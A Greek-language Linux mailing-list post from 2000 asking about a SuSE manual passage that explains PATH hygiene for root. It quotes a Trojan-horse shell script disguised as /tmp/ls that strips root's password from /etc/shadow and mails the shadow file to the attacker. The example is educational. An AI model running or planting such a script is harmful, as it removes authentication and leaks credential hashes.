root account hacked???

Harris Istikoglou linuxx13 at hotmail.com
Thu Mar 23 07:04:46 EET 2000


Σιγά σιγά αυτή η λίστα αρχίζει να με πορώνει!!!!
Είχα στείλει στην λίστα ένα γράμμα με μερικές απορίες μου και η πρώτη απάντηση ήρθε σε 20 λεπτά!!(thanks Ioanni Ioannou) και οι ερωτήσεις μου καλύφτηκαν πλήρως σε λιγότερο από 24 ώρες.
Ας περάσω τώρα στις ερωτήσεις μου:
Έχω αγοράσει το Suse 6.3 Μέσα στο πακέτο έχει και ένα manual.Στην σελίδα 389 υπάρχουν τα εξής
    You may have noticed while working with SuSe Linux that the current directory is excluded from the search path of "root". This is why when you are "root", you have to add the prefix ./ to launch commands from the current directory. The reason that SuSe Linux is configured this way is illustrated in the example below:
Suppose these is a user working on your system who creates the following script
#!/bin/sh
cat /etc/shadow | \
   sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow
   mail user at linux.local -s "Root account hacked" < /etc/shadow
   ls $* 
    This script is then moved to /tmp/ls
    Now,if "root" changes to /tmp, even though he has the actual path in his $PATH enviroment variable, "root" will not launch /bin/ls, but our little script in /tmp/ls instead. The result of executing this script is that the "root" password is removed. Even worse, the script also sends the user who wrote it an e-mail, informing him that the password has been removed. Now, he may freely log in as user "root". The consequences may be very unpleasant ;-)
    If this current directory was not in the search path, this could only have happended if you had explicitly
typed ./ls.This, by the way, is an examle of a Trojan horse.
Το δοκίμασα το παραπάνω πρόγραμματάκι αλλά δεν μπόρεσε να μου "χακάρει" το λογαγιασμό μου ως root. Αλλά, αν κατάλαβα καλά, o root πρέπει να βάλει κάποια directory στο search path για να μπορέσει αυτό το πρόγραμμα να κάνει την "καταστροφική" του δουλειά. Αυτό που θέλω να ρωτήσω είναι πως είναι δυνατόν με ένα απλό προγραμματάκι μιας σειράς κάποιος να σου κλέψει τον root account σου; 
    Ευχαριστώ πολύ για τον χρόνο σας

********************************************************
               Harris "Bullard" Istikoglou
studing accounting in university of Thessaloniki
e-mail-->iraklis13 at hotmail.com
             linuxx13 at hotmail.com
*********************************************************
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.hellug.gr/pipermail/linux-greek-users/attachments/20000322/58ad2f0e/attachment.htm>


More information about the Linux-greek-users mailing list